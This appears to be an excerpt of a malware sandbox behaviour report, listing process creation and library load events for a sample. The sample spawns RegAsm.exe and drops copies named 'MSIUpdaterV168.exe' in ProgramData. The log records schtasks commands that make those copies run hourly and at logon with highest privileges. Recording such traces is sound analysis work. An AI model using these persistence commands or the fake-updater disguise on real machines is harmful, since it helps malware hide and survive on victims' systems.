Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7064 -s 296
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe"
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7032 -s 260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe"
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6736 -s 276
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_22594e13276480dd456a8441babc227b LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
